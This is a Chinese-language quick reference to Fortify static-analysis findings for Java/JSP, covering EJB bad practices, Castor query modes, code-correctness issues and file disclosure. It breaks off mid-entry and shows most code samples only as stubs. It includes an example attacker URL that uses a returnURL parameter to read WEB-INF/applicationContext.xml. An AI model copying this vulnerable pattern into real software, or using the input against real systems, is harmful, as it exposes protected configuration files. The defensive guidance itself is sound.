fortify扫描结果速查(Java/JSP),篇幅十分大,推荐使用ctrl+F查找~~~
Java/JSP
API误用
API 是调用方与被调用方之间的合约。最常见的 API 滥用形式是由于调用方未能履行本合约而造成的。例如,如果程序未能在调用 chroot() 之后调用 chdir(),则违反了合约针对如何以安全的方式更改活动根目录的规定。库滥用的另一个绝佳示例是希望被调用方将可信 DNS 信息返回给调用方。在这种情况下,调用方通过对被调用方的行为做出某些假设(即返回值可用于身份验证)而滥用被调用方 API。此外,一方还可以从另一方违反调用方和被调用方间的合约。例如,如果编码器将 SecureRandom 归入子类并返回非随机值,则违反了合约。
代码质量
代码质量低会导致不可预知的行为。从用户角度来看,这种情况通常表现为可用性差。对于攻击者而言,它提供了以各种意想不到的方式为系统施压的机会。
封装
封装是指划定明确的边界。在 Web 浏览器中,这可能意味着确保您的移动代码不会被其他移动代码滥用。在服务器上,它可能意味着对经过验证的数据和未经验证的数据、一个用户的数据和另一用户的数据或对用户可以查看的数据和不能查看的数据进行区分。
环境配置
这部分包含源代码以外的所有内容,但对于即将创建的产品的安全仍至关重要。因为此分类中涵盖的问题与源代码没有直接关系,所以我们将其与其他分类分开。
异常处理
错误和错误处理代表 API 的一个类。与错误处理相关的错误十分常见,它们单独需要一个特殊的界。对于“API 滥用”,有两种方式可以引入与错误相关的安全漏洞:最常用的方式是不当处理错误(或根本不处理)。第二种方式是制造提供太多信息(给潜在的攻击者)或难以处理的错误。
输入验证与展示问题
输入验证和表示问题是由于元字符、备选编码和数值表示而引起的。安全问题是由于信任输入而引起的。这些问题包括:“缓冲区溢出”、“跨站点脚本”攻击、“SQL 注入”和许多其他问题。
安全特性
软件安全不是安全软件。在此处,我们讨论类似于身份验证、访问控制、机密性、加密和权限管理之类的主题。
时间和状态
分布式计算与时间和状态有关。即,为了使多个组件进行通信,必须共享状态,而这一切都需要时间。
大部分程序员会将其工作人格化。他们想象一个控制线程以他们会采用的相同方式执行整个程序(如果他们需要自己完成任务的话)。但是,现代计算机可以在不同的任务之间迅速切换,并且是在多核、多 CPU 或分布式系统中进行切换,两个事件可以在完全相同的时间发生。对于程序如何执行,程序员的模型和实际情况之间存在差距,匆忙之中缺陷便会趁虚而入。这些缺陷与线程、进程、时间和信息之间的意外交互相关。这些交互通过共享状态实现:信号、变量、文件系统以及基本上任何可以存储信息的介质。
API误用
API 是调用方与被调用方之间的合约。最常见的 API 滥用形式是由于调用方未能履行本合约而造成的。例如,如果程序未能在调用 chroot() 之后调用 chdir(),则违反了合约针对如何以安全的方式更改活动根目录的规定。库滥用的另一个绝佳示例是希望被调用方将可信 DNS 信息返回给调用方。在这种情况下,调用方通过对被调用方的行为做出某些假设(即返回值可用于身份验证)而滥用被调用方 API。此外,一方还可以从另一方违反调用方和被调用方间的合约。例如,如果编码器将 SecureRandom 归入子类并返回非随机值,则违反了合约。
ADF Faces Bad Practices: unsecure Attribute
Castor Bad Practices: Query Mode Not Read-Only
Castor Bad Practices: Unspecified Query Mode
Code Correctness: Call to System.gc()
Code Correctness: Class Does Not Implement equals
Code Correctness: Erroneous finalize() Method
Code Correctness: Incorrect Serializable Method Signature
Code Correctness: Multiple Stream Commits
Code Correctness: Negative Content-Length
Code Correctness: toString on Array
Dangerous Field
Dangerous Method
Dangerous Type
EJB Bad Practices: Use of AWT/Swing
EJB Bad Practices: Use of Class Loader
EJB Bad Practices: Use of Sockets
EJB Bad Practices: Use of Synchronization Primitives
EJB Bad Practices: Use of java.io
File Disclosure: J2EE
File Disclosure: Spring
File Disclosure: Spring Webflow
File Disclosure: Struts
Immutable Classes: Field Mutation
Immutable Classes: Non-final Fields
Immutable Classes: Public Mutable Fields
J2EE Bad Practices: Sockets
J2EE Bad Practices: getConnection()
Mass Assignment: Insecure Binder Configuration
Mass Assignment: Request Parameters Bound into Persisted Objects
Missing Check against Null
Missing Check for Null Parameter
Object Model Violation: Erroneous clone() Method
Object Model Violation: Just one of equals() and hashCode() Defined
Object Model Violation: Just one of restoreState() and saveState() Defined
Obsolete: Deprecated by ESAPI
Often Misused: Android Permission Check
Often Misused: Authentication
Often Misused: Boolean.getBoolean()
Often Misused: Encoding
Often Misused: File Upload
Often Misused: Spring Remote Service
Often Misused: Spring Web Service
Password Management: Weak Redundancy
Poor Style: Explicit Call to finalize()
Struts 2 Bad Practices: Application Map Tampering
Struts 2 Bad Practices: Dynamic Method Invocation
Struts 2 Bad Practices: Request Map Tampering
Struts 2 Bad Practices: Session Map Tampering
Unchecked Return Value
ADF Faces Bad Practices: unsecure Attribute
ABSTRACT
unsecure 属性会指定可在客户端上设置值的属性列表。
EXPLANATION
Oracle ADF Faces 组件的属性值通常只能在服务器上设置。但许多组件都允许开发人员定义可在客户端上设置的属性列表。这些组件的 unsecure 属性可以指定此列表。
目前唯一一个可在 unsecure 属性中显示的属性是 disabled,该属性允许客户端定义要启用和禁用的组件。最好不要让客户端控制只应在服务器上设置的属性值。
示例:以下代码显示了从用户收集密码信息并使用 unsecure 属性的 inputText 组件。
1 |
|
RECOMMENDATIONS
最好不要让客户端控制可在服务器上设置的属性值。特别是在使用输入和命令组件时,避免使用此功能。
REFERENCES
[1] Oracle ADF Faces Tag Reference
Android Bad Practices: Use of File Scheme Cookies
ABSTRACT
应用程序允许将 Cookie 用于 file:// 协议,这可能导致不利的安全隐患。
EXPLANATION
根据 RFC 2109,Cookie 严格意义上属于 HTTP 机制。 不应用于除 HTTP 以外的其他协议,包括 file://。 目前还不清楚它们的行为应该是什么,以及适用何种安全分隔规则。 例如,从 Internet 下载到本地磁盘的 HTML 文件是否应与本地安装的任意 HTML 代码共享相同的 Cookie?
RECOMMENDATIONS
根据 Android 文档,将 Cookie 用于文件架构 URL 具有安全隐患并且默认会被关闭。 请勿使用此功能,除非您可以确定不会发生意外的 Cookie 数据共享。
REFERENCES
[1] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
Castor Bad Practices: Query Mode Not Read-Only
ABSTRACT
非只读模式的 Castor 查询可能会影响性能。
EXPLANATION
即便 castor 创建了对象的锁定,也不能阻止其他线程对该对象执行读取或写入。另外,与默认的共享模式相比,只读模式的查询的运行速度大约是前者的 7 倍。
例 1:下例指定 SHARED 查询模式,该模式允许读取和写入访问。
results = query.execute(Database.SHARED);
RECOMMENDATIONS
如果不需要对检索的对象进行修改,请确保查询为只读模式。
例 2:下例指定只读查询模式。
results = query.execute(Database.READONLY);
从设计的角度而言,使用只读查询符合最小特权的准则。如果攻击者找到了修改 Castor 对象的方法,只读查询可限制其造成的破坏。
REFERENCES
[1] ExoLab Group Castor JDO - Best practice
[2] Standards Mapping - Common Weakness Enumeration CWE ID 265
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[8] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
Castor Bad Practices: Unspecified Query Mode
ABSTRACT
该 Castor 查询未明确定义查询模式。
EXPLANATION
默认情况下,Castor 以共享模式执行查询。由于共享模式允许读取访问和写入访问,因此该查询需要采取何种操作并不清楚。如果要在只读上下文中使用该对象,则共享访问会增加不必要的性能负担。
例 1:以下示例未指定查询模式。
results = query.execute(); //missing query mode
RECOMMENDATIONS
为所有查询明确设置查询模式。该操作可以更清楚地显示查询的意图,而且还能够提高性能。
例 2:下例指定只读查询模式:
results = query.execute(Database.READONLY);
从设计的角度而言,采用只读查询模式可限制攻击者在程序人员不希望进行更新的位置更新对象的潜在风险。
REFERENCES
[1] ExoLab Group Castor JDO - Best practice
[2] ExoLab Group, Intalio Inc., and Contributors Database (Castor JavaDoc)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 265
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
Code Correctness: Call to System.gc()
ABSTRACT
显式的调用垃圾回收机制可以预示系统性能可能出现的问题。
EXPLANATION
几乎所有的 Java 开发人员都会在工作中碰到这样的情况,有时候某个问题看上去非常神秘,让人难以理解,而且根本调试不出来,好像一点办法都没有,只能将原因归结为垃圾回收机制的问题。特别是当问题与 time and state 相关时,我们可以根据经验进行推断,并找到支持这一理论的根据:插入对 System.gc() 的调用似乎可以使问题迎刃而解。
在我们遇到的绝大多数情况中,调用 System.gc() 并非什么好方法。事实上,过于频繁地调用 System.gc() 会带来性能问题。
RECOMMENDATIONS
发现通过调用 System.gc() 似乎解决了问题时,找找看问题的解决是否源于其他原因,特别是涉及到了调用时间以及线程、进程、JVM 和操作系统间的交互问题。问题的症结可能是 I/O 缓存、同步和 race condition。
REFERENCES
[1] D. H. Hovermeyer FindBugs User Manual
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Code Correctness: Class Does Not Implement equals
ABSTRACT
在没有实现 equals() 的对象上调用了 equals() 方法。
EXPLANATION
当比较对象时,开发人员通常希望比较对象的属性。然而,在没有明确实现 equals() 的类(或任何超类/接口)上调用 equals() 会导致调用继承自 java.lang.Object 的 equals() 方法。Object.equals() 将比较两个对象实例,查看它们是否相同,而不是比较对象成员字段或其他属性。尽管可以合法地使用 Object.equals(),但这通常表示存在错误代码。
例 1:
1 | public class AccountGroup |
RECOMMENDATIONS
验证 Object.equals() 的使用确实是您要调用的方法。如果不是,那么可实现 equals() 方法,或者使用其他方法来比较对象。
例 2:以下代码将 equals() 方法添加到“说明”部分中的示例。
1 | public class AccountGroup |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
Code Correctness: Erroneous finalize() Method
ABSTRACT
finalize() 方法应该调用 super.finalize()。
EXPLANATION
The Java Language Specification 中指出,finalize() 方法调用 super.finalize() 是一种非常好的做法 [1]。
例 1:以下方法没有调用 super.finalize()。
1 | protected void finalize() { |
RECOMMENDATIONS
每次实现 finalize 方法时,都应该调用 super.finalize()。
例 2: 例 1 中的代码应该用以下方式重写:
1 | protected void finalize() { |
REFERENCES
[1] J. Gosling, B. Joy, G. Steele, G. Bracha The Java Language Specification, Second Edition Addison-Wesley
[2] MET12-J. Do not use finalizers CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 568
Code Correctness: Incorrect Serializable Method Signature
ABSTRACT
在序列化方法上使用错误的方法签名可能导致永远不会调用该方法。
EXPLANATION
代码正确性:当可序列化的类创建序列化或反序列化函数但未采用正确的签名时,会发生“可序列化的方法签名不正确”的问题:
1 | private void writeObject(java.io.ObjectOutputStream out) throws IOException; |
未使用序列化所要求的方法签名会导致在序列化/反序列化过程中永远不会调用该方法,这意味着将无法完成序列化/反序列化,或意味着不可信赖的代码可以获取对象的访问权限。 如果存在未抛出的异常,则可能意味着序列化/反序列化将失败并使应用程序崩溃,甚或可能悄然失败,以致构造的对象只是部分正确,从而导致出现极难调试的缺陷。调用程序应捕获这些异常,以便可以正确地处理错误的序列化/反序列化,而不会出现崩溃或部分构造的对象。
RECOMMENDATIONS
在使用 Java 中需要特殊处理的类的序列化时,writeObject()、readObject() 和 readObjectNoData 方法必须具有正确的签名:
1 | private void writeObject(java.io.ObjectOutputStream out) throws IOException; |
REFERENCES
[1] SER01-J. Do not deviate from the proper signatures of serialization methods CERT
Code Correctness: Multiple Stream Commits
ABSTRACT
提交 servlet 的输出流之后,重置流缓冲区或执行重新提交该数据流的其他任何操作都是错误的做法。与之类似,在调用 getOutputStream 之后调用 getWriter() 也是错误的做法,反之亦然。
EXPLANATION
转发 HttpServletRequest、重定向 HttpServletResponse 或者刷新 servlet 的输出流缓冲区会导致提交相关的数据流。后续执行的任何缓冲区重置或数据流提交操作,例如额外的刷新或重定向,将会导致出现 IllegalStateException。
此外,Java servlets 允许使用 ServletOutputStream 或 PrintWriter(但不能同时使用)将数据写入响应数据流。调用 getOutputStream() 之后调用 getWriter() 或者反向调用,也会导致出现 IllegalStateException。
在运行时,IllegalStateException 会阻止响应处理程序完成运行,轻易地使其中断响应。这会导致服务器不稳定,也间接表明 servlet 实现不正确。
例 1:以下代码会在 servlet 的输出流缓冲区刷新之后重定向其响应。
1 | public class RedirectServlet extends HttpServlet { |
例 2:相反,以下代码在请求转发之后会尝试写入并刷新 PrintWriter 的缓冲区。
1 | public class FlushServlet extends HttpServlet { |
RECOMMENDATIONS
确保提交数据流之后为未对其进行其他更改。对数据流执行其他写入操作最多只是操作无效,而执行其他提交操作 可能会导致 servlet 抛出 IllegalStateException。如果可能,最好遵守以下准则:
- 执行 forward() 或 sendRedirect 之后立即返回。
- 避免在调用 ServletResponse.getWriter() 或 ServletResponse.getOuputStream() 之后调用 forward() 或 sendRedirect()。
REFERENCES
[1] IllegalStateException in a Servlet - when & why do we get?
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
Code Correctness: Negative Content-Length
ABSTRACT
Content-Length 头文件设为负值。
EXPLANATION
在大多数情况下,设置 Content-Length 请求标题表示开发者对 发送给服务器的 POST 数据长度感兴趣。但是,此标题应为 0 或 正整数。
示例 1:以下代码将设置不正确的 Content-Length。
1 | URL url = new URL("http://www.hp.com"); |
RECOMMENDATIONS
请使用能正确计算和设置 Content-Length 头文件的库。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
Code Correctness: toString on Array
ABSTRACT
toString() 在数组上被调用。
EXPLANATION
大多数情况下,在数组上调用 toString() 表示开发者希望将数组内容作为字符串返回。然而,在数组上直接调用 toString() 将返回一个字符串值,它包含内存中该数组的类型和哈希码。 例 1:以下代码将输出 [Ljava.lang.String;@1232121。
1 | String[] strList = new String[5]; |
RECOMMENDATIONS
在 Java 5 [1] 中引入了多种 Array.toString() 方法。这些方法将以逗号分隔的格式返回数组内容的字符串形式。 例 2:
1 | String[] strList = new String[5]; |
如果您使用的 Java 的版本较旧,那么可能需要迭代通过数组以获得每个元素的值。
REFERENCES
[1] Class Arrays Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
Dangerous Field
ABSTRACT
该字段已标注为危险。所有对其的使用都将加注标记。
EXPLANATION
已将注释 FortifyDangerous 应用于此字段。这被用来表示该类型危险,并且所有对其的使用都应进行安全性检查。
RECOMMENDATIONS
检查其用法以确保其正确性与安全性。
Dangerous Method
ABSTRACT
该方法已标注为危险。所有对此方法的使用都会标记为问题。
EXPLANATION
已将注释 FortifyDangerous 应用于此方法。这被用来表示该类型危险,并且所有对其的使用都应进行安全性检查。
RECOMMENDATIONS
检查其用法以确保其正确性与安全性。
REFERENCES
[1] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[4] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
Dangerous Type
ABSTRACT
这是标注为危险类型的变量。
EXPLANATION
已将注释 FortifyDangerous 应用于此类型。这被用来表示该类型危险,并且所有对其的使用都应进行安全性检查。
RECOMMENDATIONS
检查其用法以确保其正确性与安全性。
REFERENCES
[1] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
EJB Bad Practices: Use of AWT/Swing
ABSTRACT
程序使用了 AWT/Swing,这违反了企业级 JavaBeans 编程规范。
EXPLANATION
企业级 JavaBeans 编程规范要求每个 bean 提供者都必须遵守一系列编程规范,以确保 bean 在任何 EJB 容器 [1] 中的可移植性与行为的一致性。
在这里,程序违背了以下 EJB 指导原则:
“一个企业级 bean 必须禁止利用 AWT 机制,将信息输出到显示设备,或者通过键盘输入信息。”
制定该规范理由如下:
“大部分服务器都不允许应用程序中的程序与连接至服务器系统上的键盘/显示设备进行直接交互。”
RECOMMENDATIONS
为了确保在多部署环境中的可移植性与行为的一致性,应该严格遵守企业级 JavaBeans 规范中建议的指导原则。
REFERENCES
[1] The Enterprise JavaBeans 2.1 Specification Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 575
EJB Bad Practices: Use of Class Loader
ABSTRACT
程序使用了程序类加载器,这违反了企业级 JavaBeans 编程规范。
EXPLANATION
企业级 JavaBeans 编程规范要求每个 bean 提供者都必须遵守一系列编程规范,以确保 bean 在任何 EJB 容器 [1] 中的可移植性与行为的一致性。
在这里,程序违背了以下 EJB 指导原则:
“企业级 bean 必须禁止以下内容:创建类加载器;获取当前类加载器;设置类加载器上下文;设置安全管理器;创建新的安全管理器;停止 JVM 或者篡改输入、输出及错误流。”
制定该规范理由如下:
“这些功能都是为 EJB 容器预留的。允许企业级 bean 使用这些功能会造成一些安全上的漏洞,并使容器无法正确地管理运行时环境。”
RECOMMENDATIONS
为了确保在多部署环境中的可移植性与行为的一致性,应该严格遵守企业级 JavaBeans 规范中建议的指导原则。
REFERENCES
[1] The Enterprise JavaBeans 2.1 Specification Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 578
EJB Bad Practices: Use of Sockets
ABSTRACT
程序使用了 socket 接口,这违反了企业级 JavaBeans 编程规范。
EXPLANATION
企业级 JavaBeans 编程规范要求每个 bean 提供者都必须遵守一系列编程规范,以确保 bean 在任何 EJB 容器 [1] 中的可移植性与行为的一致性。
在这里,程序违背了以下 EJB 指导原则:
“一个企业级 bean 必须禁止监听 Socket 接口、接受 Socket 连接或者使用 Socket 做多点传送。”
制定该规范理由如下:
“EJB 体系结构允许企业级 bean 实例作为网络 Socket 客户端来运行,但禁止其作为网络服务器来运行。而且,允许企业级 bean 实例作为网络服务器来运行与企业级 bean 的基本功能(为 EJB 客户端提供服务)相冲突。”
RECOMMENDATIONS
为了确保在多部署环境中的可移植性与行为的一致性,应该严格遵守企业级 JavaBeans 规范中建议的指导原则。
REFERENCES
[1] The Enterprise JavaBeans 2.1 Specification Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 577
EJB Bad Practices: Use of Synchronization Primitives
ABSTRACT
程序使用了多线程同步,这违反了企业级 JavaBeans 编程规范。
EXPLANATION
企业级 JavaBeans 编程规范要求每个 bean 提供者都必须遵守一系列编程规范,以确保 bean 在任何 EJB 容器 [1] 中的可移植性与行为的一致性。
在这里,程序违背了以下 EJB 指导原则:
“一个企业级 bean 必须禁止利用线程同步机制来同步执行多个实例。”
制定该规范理由如下:
“这一规则要求确保一致的运行时语义,因为一些 EJB 容器可能会使用单个 JVM 来执行所有 bean 实例,而其他一些可能会跨多个 JVM 分布各个 bean 实例。”
RECOMMENDATIONS
为了确保在多部署环境中的可移植性与行为的一致性,应该严格遵守企业级 JavaBeans 规范中建议的指导原则。
REFERENCES
[1] The Enterprise JavaBeans 2.1 Specification Sun Microsystems
[2] THI01-J. Do not invoke ThreadGroup methods CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 574
EJB Bad Practices: Use of java.io
ABSTRACT
程序使用了 java.io 包,这违反了企业级 JavaBeans 编程规范。
EXPLANATION
企业级 JavaBeans 编程规范要求每个 bean 提供者都必须遵守一系列编程规范,以确保 bean 在任何 EJB 容器 [1] 中的可移植性与行为的一致性。
在这里,程序违背了以下 EJB 指导原则:
“一个企业级 bean 必须禁止利用 java.io 包访问 file system 中的文件和目录。”
制定该规范理由如下:
“file system API 不适用于商业组件的数据访问。商业组件应利用资源管理 API(如 JDBC)存储数据。”
RECOMMENDATIONS
为了确保在多部署环境中的可移植性与行为的一致性,应该严格遵守企业级 JavaBeans 规范中建议的指导原则。
REFERENCES
[1] The Enterprise JavaBeans 2.1 Specification Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 576
File Disclosure: J2EE
ABSTRACT
若通过用户输入构造服务器端重定向路径,攻击者便能够下载应用程序二进制码(包括应用程序的类或 jar 文件)或者查看受保护的目录下的任意文件。
EXPLANATION
在以下情况下,会发生文件泄露:
1、 数据从一个不可信赖的数据源进入程序。
2、 数据用于动态地构造一个路径。
例 1:下面的代码会接受不可信赖的数据,并使用其构造服务器端转发所使用的路径。
1 | ... |
例 2:下面的代码会接受不可信赖的数据,并使用其构造服务器端转发所使用的路径。
1 | ... |
如果攻击者使用请求参数提供与某个敏感文件位置相匹配的 URL,他们将能够查看该文件。例如,使用 “http://www.yourcorp.com/webApp/logic?returnURL=WEB-INF/applicationContext.xml” 将能够查看该应用程序的 applicationContext.xml 文件。 一旦攻击者掌握了 applicationContext.xml 的信息,他们便能够定位和下载 applicationContext.xml 中引用的其他配置文件,甚至类文件或 jar 文件。这样一来,攻击者将能够获得与应用程序有关的敏感信息,并以之为目标发动其他类型的攻击。
RECOMMENDATIONS
请不要要使用不可信赖的数据请求服务器端资源。而应使用介于位置与路径之间的间接方法。 请不要使用:
< a href="http://www.yourcorp.com/webApp/logic?nextPage=WEB-INF/signup.jsp">New Customer</a>
而应使用:
< a href="http://www.yourcorp.com/webApp/logic?nextPage=newCustomer">New Customer</a>
服务器端逻辑应具有逻辑名称与服务器端路径的映射(以逻辑名称为键),在上例中,键“newCustome”中存储的路径应为“/WEB-INF/signup.jsp”。
REFERENCES
[1] Ryan Berg and Dinis Cruz Two Security Vulnerabilities in the Spring Framework’s MVC
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 552
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 073
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[20] Standards Mapping - Web Application Security Consortium Version 2.00 URL Redirector Abuse (WASC-38)
File Disclosure: Spring
ABSTRACT
若通过用户输入构造服务器端重定向路径,攻击者便能够下载应用程序二进制码(包括应用程序的类或 jar 文件)或者查看受保护的目录下的任意文件。
EXPLANATION
在以下情况下,会发生文件泄露:
1、 数据从一个不可信赖的数据源进入程序。
2、 数据用于动态地构造一个路径。
例 1:下面的代码会接受不可信赖的数据,并使用其构造服务器端转发所使用的路径。
1 | ... |
如果攻击者使用请求参数提供与某个敏感文件位置相匹配的 URL,他们将能够查看该文件。例如,使用 “http://www.yourcorp.com/webApp/logic?returnURL=WEB-INF/applicationContext.xml” 将能够查看该应用程序的 applicationContext.xml 文件。 一旦攻击者掌握了 applicationContext.xml 的信息,他们便能够定位和下载 applicationContext.xml 中引用的其他配置文件,甚至类文件或 jar 文件。这样一来,攻击者将能够获得与应用程序有关的敏感信息,并以之为目标发动其他类型的攻击。
RECOMMENDATIONS
请不要要使用不可信赖的数据请求服务器端资源。而应使用介于位置与路径之间的间接方法。 请不要使用:
< a href="http://www.yourcorp.com/webApp/logic?nextPage=WEB-INF/signup.jsp">New Customer</a>
而应使用:
< a href="http://www.yourcorp.com/webApp/logic?nextPage=newCustomer">New Customer</a>
服务器端逻辑应具有逻辑名称与服务器端路径的映射(以逻辑名称为键),在上例中,键“newCustome”中存储的路径应为“/WEB-INF/signup.jsp”。
REFERENCES
[1] Ryan Berg and Dinis Cruz Two Security Vulnerabilities in the Spring Framework’s MVC
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 552
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 073
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[20] Standards Mapping - Web Application Security Consortium Version 2.00 URL Redirector Abuse (WASC-38)
File Disclosure: Spring Webflow
ABSTRACT
若通过用户输入构造服务器端重定向路径,攻击者便能够下载应用程序二进制码(包括应用程序的类或 jar 文件)或者查看受保护的目录下的任意文件。
EXPLANATION
Spring Webflow 使用视图解析器将视图名称转换为真实渲染语言。通常情况下,视图解析器会限制带有前缀和后缀的文件的类型和位置。然而,使用请求参数来指定视图名称可回避这一限制机制。 例 1:下面的 Spring Webflow 配置会使用请求参数指定视图名称。
1 | <webflow:end-state id="finalStep" view="${requestParameters.url}"/> |
